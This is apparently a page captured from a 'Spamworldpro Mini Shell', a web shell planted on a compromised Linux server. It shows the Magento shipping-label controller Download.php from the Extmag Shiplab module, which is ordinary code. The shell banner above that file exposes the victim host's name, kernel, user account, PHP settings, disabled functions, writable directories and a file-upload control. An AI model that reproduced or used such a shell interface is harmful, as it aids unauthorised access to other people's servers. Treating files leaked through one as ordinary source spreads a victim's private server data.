Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/extmag/shiplab/Controller/Adminhtml/Printer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/extmag/shiplab/Controller/Adminhtml/Printer/Download.php
<?php
/**
 * Copyright © Extmag. All rights reserved.
 */

namespace Extmag\Shiplab\Controller\Adminhtml\Printer;

use Extmag\Shiplab\Controller\Adminhtml\Printer;
use Extmag\Shiplab\Model\Label;
use Exception;
use Magento\Framework\App\ResponseInterface;
use Magento\Framework\Controller\Result\Redirect;
use Magento\Framework\Controller\ResultInterface;
use Magento\Framework\Filesystem\DirectoryList;

class Download extends Printer
{
    /**
     * Authorization level of a basic admin session
     *
     * @see _isAllowed()
     */
    public const ADMIN_RESOURCE = 'Extmag_Shiplab::shiplab_labels_index';

    /**
     * @return ResponseInterface|Redirect|ResultInterface
     */
    public function execute()
    {
        $documentType = $this->getRequest()->getParam('document_type', '');
        $trackingNumber = $this->getRequest()->getParam('tracking_number');
        $carrierCode = $this->getRequest()->getParam('carrier_code');
        $labelIds = $this->getRequest()->getParam('label_ids', []);

        try {
            if (!is_array($labelIds)) {
                $labelIds = explode(',', $labelIds);
            }

            $fileName = 'extmag' . (!empty($carrierCode) ? ('-' . $carrierCode) : '') . '-' . $documentType . '.pdf';
            $collection = $this->collectionFactory->create();
            $collection->addFieldToFilter('entity_id', ['in' => $labelIds]);
            $fileData = null;
            /**
             * @var Label $model
             */
            foreach ($collection as $model) {
                if ($documentType !== 'hvr') {
                    $fileData = $this->pdf->getPdfPages($model, $documentType, $fileData, $trackingNumber);
                } else {
                    $fileData = $this->pdf->getFileData(
                        $model->getCarrierCode(),
                        $model->getMasterId(),
                        'html',
                        $documentType
                    );
                    break;
                }
            }

            if ($documentType !== 'hvr') {
                return $this->fileFactory->create(
                    $fileName,
                    $fileData->Output('', 'S'),
                    DirectoryList::SYS_TMP,
                    'application/pdf'
                );
            } else {
                return $this->resultRawFactory->create()->setContents($fileData);
            }
        } catch (Exception $e) {
            $this->messageManager->addErrorMessage($e->getMessage());
            return $this->resultRedirectFactory->create()->setRefererOrBaseUrl();
        }
    }
}

Spamworldpro Mini